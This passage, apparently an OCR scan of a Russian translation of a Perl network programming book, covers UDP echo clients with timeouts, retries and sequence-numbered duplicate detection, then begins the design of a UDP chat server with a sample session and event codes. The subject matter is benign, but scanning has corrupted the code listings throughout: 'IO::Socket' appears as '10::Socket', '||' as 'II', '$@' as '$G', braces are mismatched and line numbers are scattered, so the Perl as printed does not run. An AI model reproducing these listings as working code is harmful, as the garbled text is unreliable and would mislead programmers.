вывода сообщений об ошибках выводится информация о состоянии и вырабатывается ответ,
состоящий из перевернутого сообщения клиента (в обратном порядке).
Теперь мы воспользуемся еще одной удобной особенностью модуля 1С:: socket. Как было
упомянуто ранее, если метод send () вызывается сразу после вызова метода recv (), то
модуль ю:: Socket использует по умолчанию в качестве адреса назначения сохраненный им
адрес другого участника обмена данными. Это значит, что в данной программе не нужно явно
передавать методу send () адрес назначения. В результате общая схема вызова этого метода
преобразуется в следующую конструкцию:
$sock->send($msg_out) or die "send(): $!\n"; # (строка 21)
Строка 22. Закрытие сокета. Хотя этот оператор никогда не достигается, в конце сценария
предусмотрен вызов метода close () сокета.
Клиент эхо-сервера UDP
Для работы с этим сервером нужен клиент. Один из подходящих вариантов
приведен в листинге 18.5.
544
Часть IV. Дополнительные темы
Листинг 18.5. Клиент эхо-сервера
11
12
13
14
#!/usr/bin/perl
# Файл: udp_echo_clil.pl
# Применение: udp_echo_clil.pl [хост] [порт]
use strict;
use 10::Socket;
use constant MAX_MSG_LEN => 5000;
my $msg in;
7: my $host = shift II 'localhosf;
8: my $port = shift II 'echo(7)';
9: my $sock =
10::Socket::INET->new(Proto=>'udp',PeerAddr=>"$host:$port"}
10: or die $G;
while (<>) {
chomp;
$sock->send($_) or die "send() failed: $!";
$sock->recv($msg_in,MAX_MSG_LEN) or die *'recv() failed: $!";
15: print "$msg_in\n";
16: }
17: $sock->close;
Проведем анализ программы.
• Строки 1-8. Инициализация. Выполняется загрузка модуля Ю:: Socket, а также
инициализация констант и глобальных переменных По умолчанию применяется стандартный порт
службы "echo". Это значение можно переопределить в командной строке, например, для
работы с инвертирующим эхо-сервером, который описан в предыдущем разделе.
• Строки 9,10. Создание сокета. Создается новый объект Ю::Socket: :INET,
предназначенный для работы по протоколу UDP, с указанием параметра PeerAddr, который объединяет
выбранные значения имени хоста и номера порта. Поскольку заранее известно, что сокет
будет применяться для отправки сообщений только на один хост, предусмотрен вызов метода
connect () модуля IO:: Socket.
• Строки 11-16. Главный цикл. Выполняется чтение строки из стандартного устройства ввода,
а затем осуществляется удаление символов обозначения конца строки и отправка строки на
сервер с помощью функции send (). Адрес назначения можно не указывать, поскольку
методом connect () был установлен применяемый по умолчанию. Затем вызывается метод
recv () для получения ответа и вывода его на стандартное устройство вывода.
■ Строка 17. Закрытие сокета. После закрытия стандартного устройства вывода выполнение
цикла завершается. Для закрытия сокета вызывается его метод close ().
Автор запустил эхо-сервер, описанный в предыдущем разделе, на компьютере
brie. cshl. org и вызвал на выполнение клиент на другом компьютере, указав порт
2007, а не применяемый по умолчанию порт службы эхо-повтора. Ниже приведена
выдержка из протокола сеанса клиента.
% udp echo_clil.pl brxe.cshl.org 2007
hello there
ereht olleh
what's up?
Глава 18. Протокол UDP
545
?pu s"tahw
goodbye
eybdoog
*D
Между тем, на компьютере сервера были выведены следующие сообщения.
% udp_echo_serv.pl
servicing incoming requests ....
Received 11 bytes from [brie.cshl.org,1048]
Received 10 bytes from [brie.cshl.org,1048]
Received 7 bytes from [brie.cshl.org,1048]
Если бы в тот же момент поступали запросы от других клиентов, сервер
обрабатывал бы и их и выводил соответствующие сообщения о состоянии.
Повышение безотказности приложений
UDP
Поскольку протокол UDP является ненадежным, проблемы при работе с ним
возникают, когда их меньше всего ожидаешь. Хотя код клиента службы эхо-
повтора, приведенный в листинге 18.5, кажется понятным, он фактически
содержит скрытую программную ошибку. Чтобы обнаружить ее, попытаемся указать
клиенту адрес эхо-сервера, работающего на удаленном хосте UNIX где-то в Internet.
Вместо ввода в этот клиент информации непосредственно из командной строки,
перенаправим в его стандартное устройство ввода большой текстовый файл,
например /usr/dict/words.
% udp_echo_clil.pl tfuarchive.trustl.edu echo </usr/diet/words
Если качество соединения является просто превосходным, то может оказаться,
что все содержимое файла промелькнет на экране и после эхо-повтора последней
строки снова появится приглашение к вводу команд. Однако, вероятнее всего,
программа выведет часть текстового файла, а затем зависнет на неопределенное время.
Что же произошло?
Помните, что UDP — ненадежный протокол. Любая дейтаграмма, отправленная на
удаленный сервер, может не достичь своего места назначения, и любая дейтаграмма,
возвращенная с сервера на локальный хост, может раствориться в эфире. Если
удаленный сервер очень загружен, он может оказаться не в состоянии обрабатывать
поток входящих пакетов, в результате чего появятся ошибки переполнения буфера.
В приведенном выше клиенте эхо-сервера это не принято во внимание. После
отправки сообщения с помощью метода send () в нем просто вызывается метод
recv () в полной уверенности, что ответ на сообщение придет. Но если ответ не
поступает, вызов метода блокируется на неопределенное время, что приводит к
зависанию сценария.
Это— еще один пример тупиковой ситуации. Клиент не получит сообщение от
сервера, пока не отправит ему сообщение для эхо-повтора, но он не может этого
сделать, поскольку ждет сообщение от сервера!
При работе с протоколом TCP можно выйти из этой ситуации путем завершения
по тайм-ауту вызова метода recv () или с использованием той или иной формы
организации параллельной работы для отделения процесса ввода от вывода.
546
Часть IV. Дополнительные темы
Завершение по тайм-ауту операций приема
данных по протоколу UDP
Для завершения по тайм-ауту вызова метода recv () может применяться простая
конструкция с блоком eval { } и обработчиком ALRM.
eval {
local $SIG{ALRM] = sub { die "timeoutXn" };
alarm($timeout) ;
$result = $sock->recv{$msg_in,raax_msg_LEN);
alarm(0);
};
if <$G) {
die $G unless $G eq "timeout\n";
warn "Timed out!\n";
}
Вызов метода recv () заключен в блок eval {}, и установлен локальный
обработчик ALRM, который вызывает функцию die (). Непосредственно перед
выполнением указанного системного вызова вызывается функция alarm () с заданным
значением тайм-аута. Если метод recv () завершается успешно, вызывается функция
alarm(0) для отмены тайм-аута. В ином случае, если тайм-аут истекает до возврата
управления из указанного метода, активизируется обработчик ALRM и выполнение
блока завершается с помощью функции die. Однако поскольку эта неисправимая
ошибка перехватывается внутри блока eval { }, она приводит к аварийному
завершению только самого блока и к появлению сообщения об ошибке в переменной $6.
Последним этапом является проверка этой переменной и выдача предупреждающего
сообщения, если произошел либо выход по тайм-ауту, либо вызов функции die, если
переменная содержит непредвиденную ошибку.
С помощью этой общей схемы можно разработать иную версию клиента службы
эхо-повтора, который отправляет сообщение и ожидает ответа в течение заранее
установленного промежутка времени. Если вызов метода recv() завершается по тайм-
ауту, предпринимается попытка передать запрос еще несколько раз. В ином случае
происходит отказ от дальнейших попыток.
В листинге 18.6 приведена откорректированная версия клиента службы эхо-
повтора, udp_echo_cli2.pl.
Листинг 18.6. В сценарии udp_echo_cii2.pl реализован способ
завершения метода recv () по тайм-ауту
.#! /usr/bin/perl
# Файл: udp_echo_cli2.pl
# Применение: udp_echo_cli2.pl [хост] [порт]
# Клиент службы эхо-повтора с тайм-аутом
use strict;
use I0::Socket;
use constant MAX_MSG_LEN => 5000;
use constant TIMEOUT => 2;
use constant MAX_RETRIES => 5;
my $msg_in;
10: my $host = shift II 'localhost';
11: my $port = shift || 'echo';
Глава 18. Протокол UDP
547
12: my $sock =
10::Socket::INET->new(Proto=>'udp*,PeerAddr=>"$host:$port")
13: or die $G;
14: while (<>) {
15: chomp;
16
17
18
19
20
21
22
23
24
25
26
my $retries =0;
do {
$sock->send($_) or die "send() failed: $!";
eval {
local $SIG{ALRM} = sub { ++$retries and die "timeoutW } ;
alarm(TIMEOUT);
$sock->recv($msg_in,MAX_MSG_LEN) or
die "receive() failed: $!";
alarm(O);
};
warn "Retrying...$retries\n" if $retries;
} while $G eq "timeout\n" and $retries < MAX RETRIES;
27: die "timeout\n" if $retries >= MAX_RETRIES;
28: print $msg_in, "\n";
29: }
30: $sock->close;
Проведем анализ программы.
■ Строки 1-15. Инициализация модуля и создание сокета. Здесь основные изменения
состоят в использовании двух новых констант для управлвния установками тайм-аута. Константа
timeout указывает время в секундах, в течение которого в клиентской программе разрешено
ожидать поступления сообщения после вызова метода recvO; она установлена равной 2 с.
Константа max_retries определяет, сколько раз клиент должен попытаться повторно
передать сообщение, прежде чем будет сделан вывод, что удаленный сервер не отвечает.
• Строки 16-30. Главный цикл. Теперь вызовы методов send() и recv() заключены в цикл
do (). Этот цикл предусматривает повторную передачу исходящего сообщения после каждого
завершения по тайм-ауту, вплоть до числа попыток, указанного константой max_retries.
В цикле do {}, как и прежде, вызывается метод send() для передачи сообщения, но вызов
метода recv() заключен в блок eval {}. Единственное различие между этим кодом и
приведенной выше общей схемой состоит в том, что локальный обработчик alrm при каждом его
вызове наращивает переменную $retries. Это позволяет следить за тем, сколько раз
произошло завершение по тайм-ауту. После выхода из блока eval {} проверяется, не
превышает ли число попыток установленное максимальное значение; если это так, выдается
небольшое предупреждающее сообщение и вызывается функция die.
Для проверки этого усовершенствованного сценария клиента службы эхо-повтора
лучше всего в его вызове указать порт, в котором не работает служба эхо-повтора, на-е
пример порт 2008 на локальном хосте. ^
% udp_echo__clx2.pl localhost 2008
anyone home?
Retrying...1
Retrying...2
Retrying...3
Retrying...4
Retrying...5
timeout
548
Часть IV. Дополнительные темы\
Дублирующиеся и непоследовательно
поступающие дейтаграммы
В коде, предусматривающем применение тайм-аута, решена проблема тупиковых
ситуаций, но созданы предпосылки для новой проблемы, связанной с появлением
дубликатов. Возможно, что неполученный вовремя ответ не пропал, а просто
задержался и поступит позже. В этом случае программа получит сообщение, для работы
с которым она не готова.
Проявив достаточную ловкость и воспользовавшись компьютером UNIX, мы можем
обнаружить эту ситуацию с помощью сценариев "инвертирующего эхо-сервера/клиента
службы эхо-повтора", приведенных в листингах 18.4 и 18.6. Запустите эхо-сервер и
клиент службы эхо-повтора в отдельных окнах. Вначале введите несколько строк в клиенте
службы эхо-повтора. Теперь приостановите работу эхо-сервера, нажав комбинацию
клавиш <CtrI+Z>, а затем вернитесь в окно клиента и введите еще одну строку. Клиент
начнет вырабатывать сообщения, связанные с истечением тайм-аута. Теперь быстро
перейдите к окну сервера и возобновите его работу, введя команду f g. Клиент выйдет из
тайм-аута и отобразит ответ сервера. К сожалению, синхронизация работы клиента
и сервера уже безнадежно нарушена! Ответы, отображаемые клиентом, относятся к
повторно переданным запросам, а не к текущему.
Еще одной проблемой, с которой можно столкнуться во время работы по протокол)'
UDP, являются дейтаграммы, поступающие непоследовательно. В этой ситуации
дейтаграммы поступают не в том порядке, в каком они были отправлены. Общепринятый
способ решения обеих проблем состоит в присвоении порядкового номера каждому
исходящему сообщению и в проектировании протокола взаимодействия клиента и сервера таким
образом, чтобы сервер возвращал в своем ответе тот же порядковый номер. В настоящем
разделе представлен улучшенный клиент службы эхо-повтора, в котором реализована эта
схема. В этом сценарии показано, как использовать функцию select () с сокетами UDP
для реализации тайм-аутов и предотвращения тупиковых ситуаций.
Для реализации схемы порядковой нумерации и в клиенте, и в сервере должен
применяться согласованный формат сообщений. В описанном ниже сценарии используется
простая схема. Каждый запрос, отправляемый клиентом серверу, состоит из порядкового
номера, за которым следует символ ":", пробел и тело сообщения произвольной длины.
Порядковые номера начинаются с 0 и последовательно возрастают. Например, следующее
сообщение имеет порядковый номер 42 и тело "the meaning of life".
42: the meaning of life
Инвертирующий эхо-сервер вырабатывает ответ, в котором соблюдается этот
формат. Сервер должен прислать на запрос, приведенный выше, следующий ответ.
42: efil fo gninaem eht
Для корректировки сценария инвертирующего эхо-сервера, представленного
в листинге 18.4, достаточно внести простейшие изменения. Здесь строка 19 заменена
несколькими строками кода, которые предусматривают проверку соблюдения в
сообщениях формата "порядковый номер/тело сообщения" и выдачу правильно
отформатированного ответа.
if ( $msg_in =- /Л(\с1+): (.*)/) {
$msg_out = "$1: ".reverse $2;
} else {
$msg_out = reverse $msg_in;
}
Гхава 18. Протокол UDP
549
Для обеспечения обратной совместимости сообщения, не имеющие правильного
формата, просто переставляются в обратном порядке, как и прежде. Еще один
вариант может состоять в уничтожении сервером нераспознанных сообщений.
Наиболее интересные изменения внесены в клиентскую программу, получившую
название udp_echo_cli3. pi (листинг 18.7). В данном случае применяется хеш %PENDING
для регистрации каждого отправленного запроса. Ключами хеша служат порядковые
номера исходящих запросов, под которыми хранятся и копии первоначальных
запросов, и счетчики, позволяющие следить за числом отправленных запросов.
Глобальная переменная $seqout увеличивается на единицу при выработке
каждого нового запроса, a $seqin контролирует порядковый номер последнего ответа,
полученного с сервера, чтобы можно было обнаруживать непоследовательно
поступающие ответы.
Необходимо отказаться от принципа "отправить запрос и ждать ответа", который
применялся в предыдущих клиентах UDP; предположим, что время поступления
ответов с сервера является непредсказуемым. В этом случае для создания программы
нужно применить функцию select () с тайм-аутом для мультиплексирования
операций ввода-вывода, выполняемых в дескрипторе STDIN и сокете. Каждый раз, когда
пользователь вводит новый запрос (то бишь строку, которая должна быть возвращена
в обратном порядке), наращивается переменная $seqout и создается новая запись
запроса в хеше % PENDING.
При поступлении каждого ответа с сервера проверяется его порядковый номер
для определения того, соответствует ли он отправленному ранее запросу. Если это
так, ответ выводится и запрос удаляется из хеша % PENDING. Если поступает ответ,
порядковый номер которого отсутствует в хеше % PENDING, это — дублирующийся ответ,
который будет отброшен. Последний (по времени) порядковый номер входящего
ответа сохраняется в переменной $seqin и используется для обнаружения ответов,
поступающих непоследовательно. В этой клиентской программе просто выводится
предупреждающее сообщение о непоследовательно поступающих ответах, но
никакие более серьезные меры не принимаются.
Если вызов функции select () завершается по тайм-ауту до поступления каких-
либо новых сообщений, выполняется проверка хеша %PENDING для определения
того, остались ли еще в нем запросы, не получившие ответа. Если да, то эти запросы
передаются повторно и в счетчике фиксируется, сколько раз была предпринята
попытка получить ответ на каждый запрос.
Для совмещения построчного чтения из дескриптора STDIN с
мультиплексированием применяется модуль 10: :Getline, приведенный в главе 13 (листинг 13.2).
Ниже приведен код клиентского сценария.
Листинг 18.7. Сценарий udp_echo_cli3 .pi обнаруживает дублирующиеся
и непоследовательно поступающие сообщения
0: #!/usr/bin/perl
1: # Файл: udp_echo_cli3.pl
2: # Применение: udp_echo_cli3.pl [хост] [порт]
3: # Клиент службы эхо-повтора с тайм-аутом и распознаванием
# дубликатов
4: use strict;
5: use I0::Socket;
6: use I0::Select;
550
Часть IV. Дополнительные темы
use 10::Getline;
use constant MAX_MSG_LEN => 5000;
use constant TIMEOUT => 2;
use constant MAX_RETRIES => 5;
my %PENDING; # Хеш запросов, ключами которого являются
# порядковые номера, а значениеми -
use constant REQUEST => 0; # эти два поля
use constant TRIES => 1;
# Регистрация порядковых номеров исходящих и входящих
# сообщений
my $seqout =0;
ту $seqin =0;
ту $host = shift II *localhost';
ту $port = shift II 'echo';
my $sock =
10::Socket::INET->new(Proto=>'udp*,PeerAddr=>"$host:$port")
or die $G;
my $select = 10::Select->new($sock,\*STDIN);
my $stdin = 10::Getline->new(\*STDIN);
LOOP:
while (1) {
my Greedy = $select->can_read(TIMEOUT);
for my $handle (Gready) {
if ($handle eq \*STDIN) {
my $length = $stdin->getline($_) or last LOOP;
next unless $length > 0;
chomp;
send_message($seqout++, $_) ;
}
if ($handle eq $sock) {
my $data;
$sock->recv($data,MAX_MSG_LEN) or die "recv(): $!\n";
receive_message($data);
}
}
# Обработка всех оставшихся сообщений после наступления
# событий, связанных с тайм-аутом
do_retries() unless Gready;
}
sub send_message {
my ($sequence,$msg) = G_;
# Отправка сообщения
$sock->send("$sequence: $msg") or die "send(): $!\n";
# Регистрация его как ожидающего обработки
$PENDING{$sequence}[REQUEST] = $msg;
18. Протокол UDP
551
48:
49:
$PENDING{$sequence}[TRIES]++;
}
50
51
52
53
54
55
56
57
58
64
65
66
67
68
69
70
71
72
73
74
75
76
77
sub receive_message {
my $message = shift;
my ($sequence,$msg) = $message =~ /л(\d+): (.*)/
or return warn "bad format message '$message'!\n";
# Сообщение уже поступало?
unless ($PENDING{$sequence>) {
warn "Discarding duplicate message seqno = $sequence\n";
return;
}
59: # Предупредить о нарушении порядка сообщений
60: warn "Out of order message seqno =
$sequence\n" if $sequence < $seqin;
61: # Вывести результат
62: print $PENDING{$sequence)[REQUEST],' => ',Smsg,"\n"
63: # Запомнить последний порядковый номер и удалить
# сообщение из хеша сообщений, ожидающих обработки
$seqin = $sequence;
delete $PENDING{$sequence);
}
sub do_retries {
for my $seq (keys %PENDING) {
if ($PENDING{$seq)[TRIES] >= MAX_RETRIES) {
warn "$seq: too many retries. Giving up.\n"
delete $PENDING{$seq];
next;
}
warn "$seq: retrying...\n";
send_message($seq,$PENDING{$seq)[REQUEST]);
}
}
Проведем анализ программы.
Строки 1-9. Загрузка модулей и определение констант. Загружаются модули 1С::socket,
IO:: Select И IO: :Getline.
Строки 10-12. Определение структуры хеша %pending. В качестве ключей хеша
spending применяются порядковые номера запросов. Его значениями являются ссылки на
двухэлементный массив, содержащий первоначальный запрос и число попыток отправки
запроса. Для индексов массива, указанного этой ссылкой, применяются символьные
константы, поэтому переменная $PENDiNG{$segno) [request] представляет собой текст
запроса, a $PENDiNG{Sseqno) [tries] обозначает число попыток отправки запроса на сервер.
Строки 13-18. Глобальные переменные. Переменная Sseqout — это главный счетчик,
который применяется для присвоения уникального порядкового номера каждому исходящему
запросу. Переменная $seqin отслеживает порядковый номер последнего полученного отаета.
Значения переменных $host и Sport, которые обозначают имя хоста и номер порта сервера,
как и прежде, считываются из командной строки. '
Строки 19-22. Создание сокета, объектов IO::select и Ю: :Getline. Как и прежде,
создается сокет UDP. В случае успешного выполнения этой операции определяется набор
552
Часть IV. Дополнительные темы
Ю:: select, инициализируемый для включения а него сокета и дескриптора stdin, а также
объект ю:: Getiine, который создает оболочку для дескриптора stdin.
• Строки 23-25. Цикл select (). Теперь программа входит в глааный цикл. При каждом
проходе по циклу вызывается метод can_read () набора Ю:: Select с требуемым тайм-аутом.
Этот вызов возвращает список дескрипторов файлов, готовых для чтения, а по истечении
тайм-аута— пустой список. Выполняется цикл по всем дескрипторам файлов, готовым для
чтения. В этом цикле могут встретиться только две возможности. Одна из них состоит в том,
что какую-то строку ввел пользователь и дескриптор stdin содержит данные,
предназначенные для чтения. Другая возможность заключается в том, что получено сообщение и можно
вызвать метод recv(} с сокетом без блокировки.
• Строки 26-32. Выполнение операции чтения из дескриптора stdin. Если дескриптор
stdin готов для чтения, выполняется выборка строки из его оболочки ю::Getiine путем
вызова метода getiine(). Напомним, что метод Ю: :Getline->getline() действует
аналогично функции read (). Он колирует строку в скалярную переменную (а данном случае $_)
и возвращает код результата, указывающий на успешное выполнение операции.
Если метод getiine () возвращает ложное значение, это свидетельствует о том, что достигнут
конец файла и выполняется выход из цикла. В ином случае осуществляется проверка того, была ли
получена полная строка, путем определения длины строки, возвращенной функцией getiine();
если это так, удаляется последовательность символов обозначения конца строки и вызывается
подпрограмма sendmessage () с текстом сообщения и новым порядковым номером.
• Строки 33-37. Обработка сообщения в сокете. Если сокет готов для чтения, значит, получен
отает с сервера. Для получения ответа вызывается метод recv() сокета и сообщение
передается подпрограмме receive_inessage ().
• Строки 39-41. Выполнение повторных попыток. Если массив Gready пуст, это значит, что
произошел выход по тайм-ауту. Вызывается подпрограмма do_retries () для повторной
передачи всех запросов, на которые не был получен ответ.
• Строки 42-49. Подпрограмма send_message(). Эта подпрограмма отвечает за передачу на
сераер запроса после получения уникального порядкового номера и текста запроса. С
помощью описанного ранее простого формата создается сообщение и отправляется посредством
функции send () на сервер.
После этого происходит добавление запроса к хешу %pending. Эта подпрограмма вызывается
также для повторной передачи запросов, поэтому значение поля tries не устанавливается равным 1,
а наращивается, что позволяет интерпретатору Perl создать поле, если оно еще не существует.
• Строки 50-66. Подпрограмма receive_message (). Данная подпрограмма отвечает за
обработку входящего ответа. Выполнение подпрограммы начинается с выборки порядкового номера и
тела сообщения путем синтаксического анализа. Если сообщение не соответствует формату,
происходит аывод предупреждающего сообщения и возврат. После выборки порядкового номера
ответа, выполняется проверка того, содержится ли он в хеше % pending. Если его там нет, это,
скорее всего, свидетельствует о том, что сообщение является дублирующимся. Происходит
вывод предупреждающего сообщения и возврат. Затем осуществляется проверка того, превышает
ли порядковый номер этого ответа порядковый номер предыдущего. Если это не так, выводится
предупреждающее сообщение, но никакие другие действия не предпринимаются.
Ответ, который успешно прошел все эти проверки, считается допустимым. Он выводится,
запоминается его порядковый номер, а соотвотстеующий ему запрос удаляется из хеша %pending.
• Строки 67-77. Подпрограмма do_retr±es (). Эта подпрограмма отвечает за повторную от-
прааку тех запросов, ответы на которые еще не получены. Выполняется цикл по ключам хеша
%pending и проверяется поле tries, соответствующее каждому ключу. Если значение поля
tries превышает значение константы max_retries, выводится предупреждающее
сообщение, что программа отказывается от дальнейших попыток получить ответ на этот запрос, и
запрос удаляется из хеша upending. В ином случае вызывается подпрограмма
send_message () с этим запросом для его повторной передачи.
Для проверки сценария udp_echo_cli3. pi автор изменил сценарий
инвертирующего эхо-сервера; он стал ненадежным. Изменение внесено в строку 20 листинга 18.4.
for (1..3) {
$sock->send($msg_out) or die "send(): $!\n" if randO > 0.7;
}
Глава 18. Протокол UDP
553
Вместо отправки одного ответа, теперь отправляется различное число ответов
с использованием для выработки случайных чисел функции rand () языка Perl. Иногда
сервер посылает один ответ, не отвечает вообще или отправляет несколько ответов.
После вызова сценария udp_echo_cli3.pl для работы с этим ненадежным
сервером были получены следующие результаты. В этой распечатке информация,
введенная пользователем, показана полужирным шрифтом, вывод стандартного
устройства вывода сообщений об ошибках обозначен курсивом, а вывод сценария набран
обычным шрифтом.
% udp_echo_cli3.pl localhost 2007
hello there
0: retrying...
hello there => ereht olleh
Discarding duplicate message segno — 0
Discarding duplicate message segno = 0
this unreliable communications
1: retrying. . .
this unreliable communications => snoitacinummoc elbailernu siht
but it works anyway
2: retrying...
but it works anyway => yawyna skrow ti tub
Discarding duplicate message segno = 2
Discarding duplicate message segno = 2
Даже несмотря на то что некоторые ответы были уничтожены, а другие
продублированы, клиентский сценарий сумел связать с каждым запросом правильный ответ.
Замечательным свойством этого клиентского сценария является то, что он
обеспечивает работу с эхо-серверами UDP, в которые не были внесены описанные выше
изменения. Это связано с тем, что применяемый в нем протокол обмена
сообщениями был разработан таким образом, чтобы он продолжал действовать правильно, даже
если сервер просто возвращает входящее сообщение без изменения.
В том виде, в каком он представлен в листинге 18.7, клиентский сценарий не очень
эффективен, поскольку метод can read () вызывается с тайм-аутом, даже если в хеше
% PENDING отсутствуют запросы, ответы на которые нужно было бы ждать. Этот
недостаток можно устранить, изменив строку 23 листинга 18.7 следующим образом.
my Gready = $select->can_read( %PENDING ? TIMEOUT :() );
Если хеш % PENDING не пуст, вызывается метод can_read () с тайм-аутом. В ином
случае этому методу вместо параметров передается пустой список, в результате чего
метод can_read () блокируется на неопределенное время, пока сокет или
дескриптор STDIN не будут готовы для чтения.
Резюме
UDP — это ненадежный протокол без установления логического соединения,
который больше всего подходит для короткого обмена сообщениями, не требующего
контроля за ходом работы.
Клиентская программа UDP создает сокет UDP с использованием функции
socket (), отправляет сообщения на удаленный хост с помощью функции send (),
а для получения входящих сообщений вызывает функцию recv (). Сервер UDP
создает сокет с помощью функции socket (), привязывает его к заранее намеченному пор-
554
Часть IV. Дополнительные темы
ту с использованием функции bind (), переходит к ожиданию входящих запросов
после вызова функции recv () и отправляет ответы с помощью функции send ().
Поскольку протокол UDP ненадежен, сообщения могут быть потеряны, поэтому
клиентские программы, написанные без учета особенностей этого протокола,
например такие сценарии, в которых функции send () и recv () вызываются в жестком
цикле, могут зависнуть, ожидая ответа на сообщение, которое не было даже получено.
Один из способов решения этой проблемы состоит в применении тайм-аутов, но при
этом возникает другая проблема, связанная с появлением дубликатов ответов. Более
общее решение предусматривает использование порядковых номеров для
отслеживания и запросов, и ответов на них. Такой способ организации работы вполне
приемлем, но усложняет программу. '
Некоторые приложения вполне допускают потерю сообщений. Сервер службы
интерактивной переписки, который рассматривается в следующих главах, может
служить примером успешной реализации приложения такого типа.
Глава 18. Протокол UDP
555
Глава \Щ
Серверы UDP
Протокол TCP позволяет создать надежную сетевую службу с установлением
логического соединения за счет определенных издержек, которые связаны с необходимостью
устанавливать и разрьшать соединения, а также поддерживать бесперебойное движение
потока данных. Как было описано ранее, дополнительные усилия со стороны
программиста требуются также в связи с тем, что в серверном приложении TCP должен быть
предусмотрен код, который обеспечивает одновременную работу нескольких клиентов.
Однако иногда стопроцентная надежность не требуется. Возможно, что в
приложении вполне допускается случайное уничтожение или внеочередное поступление
пакета или просто может быть повторно передано сообщение, которое не было
подтверждено. В таких случаях протокол UDP предоставляет простое и легкое решение.
Система интерактивной переписки
в Internet
В настоящей главе описана практически применимая система интерактивной
переписки в Internet на основе протокола UDP (такой оперативный обмен небольшими
текстовыми сообщениями часто называют просто "чатом"). Как и во многих других
системах интерактивной переписки, которые могут быть вам знакомы, в основе
программного обеспечения лежит сервер, управляющий работой нескольких дискуссионных групп,
называемых "каналами". Пользователи регистрируются на сервере с помощью
клиентской программы с интерфейсом командной строки, присоединяются к каналам,
которые их интересуют, и принимают участие в обмене общедоступными сообщениями.
Каждое общедоступное сообщение, отправляемое пользователем, сервер рассылает
всем участникам дискуссии в текущем канале пользователя. Сервер поддерживает также
приватные сообщения, которые отправляются только одному пользователю,
обозначенному регистрационным именем. Система сообщает всем пользователям, когда кто-то
присоединяется или покидает один из контролируемых ими каналов.
Пример сеанса
В листинге 19.1 показан пример сеанса с клиентом системы интерактивной
переписки. Как обычно, информация, введенная с клавиатуры, обозначена полужирным,
а вывод программы — обычным шрифтом.
556
Часть TV. Дополнительные темы
Листинг 19.1. Сеанс работы с клиентом системы интерактивной переписки
% chat_client.pl pes-to.lsis.org
Your nickname: lincoln
trying to log in (1) . . .
Log in successful. Welcome lincoln.
/channels
[Gardening] For those with the green thumb 1 users
[Hobbies] For hobbyists of all types 2 users
[Pets] For our furry and feathered friends 0 users
[Weather] Talk about the weather 2 users
[CurrentEvents] Discussion of current events 0 users
/join weather
Welcome to the Weather Channel (3 users)
rufus [Weather]: is it true about the rain in spain?
<bayla has entered Weather>
beanieboy [Weather]: spain? what about spain?
rufus [Weather]: that it's always ya' know raining there
It's raining in NY right now
lincoln [Weather): It's raining in NY right now
bayla [Weather]: outa here
<bayla has left Weather>
<wondergirl has entered Weather>
/users
beanieboy (on 00:05:24) Channels: Weather
wondergirl (on 00:04:14) Channels: Weather Gardening Hobbies
lincoln . (on 00:02:15) Channels: Weather
rufus (on 00:04:47) Channels: Weather
/private wondergirl why do you call yourself "wondergirl"?
wondergirl [**private**]: that's for you to figure out
/join hobbies
Welcome to the Hobbies Channel (3 users)
bayla [Hobbies]: needlepoint? ;-(
bayla [Hobbies]: hi lincoln, decided to join us?
yes, weather was a bore
lincoln [Hobbies]: yes, weather was a bore
beanieboy [Weather]: it's snowing in denver
/quit
Сеанс начинается с вызова клиентской программы и указания имени сервера,
к которому должно быть выполнено подключение. Программа запрашивает
псевдоним пользователя, выполняет регистрацию и выводит подтверждающее сообщение.
Затем выдается команда /channels для получения списка доступных каналов. Этот
клиент, как и некоторые другие клиенты системы интерактивной переписки с
интерфейсом командной строки, рассчитывает на то, что все введенные команды будут
начинаться с символа "/". Вся прочая введенная информация рассматривается как
общедоступное сообщение, которое должно быть отправлено в текущий канал. Система
в ответ выдает имена пяти каналов, краткое описание и число пользователей,
принадлежащих к каждому каналу (каждый пользователь может участвовать в работе сразу
нескольких каналов, поэтому сумма чисел, характеризующих количество участников, не
отражает общее количество пользователей, зарегистрированных в системе).
Пользователь присоединяется к каналу Weather с использованием команды
/join и с этого момента начинает получать общедоступные сообщения от других
Глава 19. Серверы UDP
557
пользователей, а также извещения о том, что кто-то присоединился или покинул
канал. Пользователь вступает на время в интерактивную переписку, а затем выдает
команду /users для получения списка пользователей, которые в настоящее время
участвуют в работе канала. Эта команда выдает перечень псевдонимов
пользователей с указанием продолжительности их работы в системе и тех каналов, в работе
которых они участвуют.
Пользователь отправляет приватное сообщение одному из пользователей с
помощью команды /private, присоединяется на короткое время к каналу Hobbies
посредством ввода /join и, наконец, выходит из системы, введя команду /quit.
Кроме команд, показанных в этом примере (листинг 19.1), есть также команда
/part, которая позволяет покинуть один из каналов. В ином случае список каналов,
к которым присоединился пользователь, возрастал бы при каждом его подключении
к новому каналу.
Проект системы интерактивной переписки
Система интерактивной переписки ориентирована на передачу сообщений.
Клиенты отправляют на сервер заранее обусловленное сообщение для регистрации,
присоединения к каналу, отправки общедоступного сообщения и т.д. Сервер отправляет
клиенту сообщения при наступлении каждого из интересующих его событий,
например при отправке другим пользователем общедоступного сообщения в канал,
абонентом которого он является.
Коды событий
Как и в предьвдущих примерах, обмен информацией между клиентом и сервером
происходит в текстовой форме. Например, в сервере генерации пародийных текстов
приветственным сообщением сервера была текстовая строка "100". Однако
некоторые протоколы Internet предусматривают передачу кодов команд и других цифровых
данных в двоичной форме. Для иллюстрации особенностей работы таких систем
в настоящем сервере системы интерактивной переписки применяются двоичные
коды, а не коды, предназначенные для восприятия человеком.
В этой системе взаимодействие между клиентом и сервером протекает в форме
обмена двоичными сообщениями. -Каждое сообщение состоит из целочисленного
кода события, упакованного в строку сообщения. Например, для создания
общедоступного сообщения с использованием константы сообщения SEND_PUBLIC вызывается
функция pack () со строкой формата "па*".
$message = pack("na*",SEND_PUBLIC,"hello, anyone here?");
Для выборки кода из строки сообщения вызывается функция unpack () с той же
строкой формата.
($code,$data) = unpack(nna*",$message);
Код формата "п" применяется для упаковки кода события в независимом от
платформы "сетевом" порядке байтов. Это обеспечивает возможность взаимодействия
клиентов и серверов, даже если на их хостах используется различный порядок байтов.
Различные коды событий определены как константы в файле -рга, который
используется совместно в деревьях исходного кода и клиента, и сервера. Код упаковки
и распаковки сообщений заключен в модуле ChatObjects:: Сошли Краткое описание
каждого из сообщений приведено в табл. 19.1.
558
Часть IV. Дополнительные темы
Таблица 19.1. Коды событий
Код
ERROR
LOGIN_REQ
LOGIN_ACK
LOGOFF
JOIN_REQ
JOIN ACK
PART_REQ
PART_ACK
SEND_PUBLIC
PUBLIC_MSG
SEND_PRIVATE
PRIVATE_MSG
USER_JOINS
USER_PARTS
LIST_CHANNELS
CHANNEL_ITEM
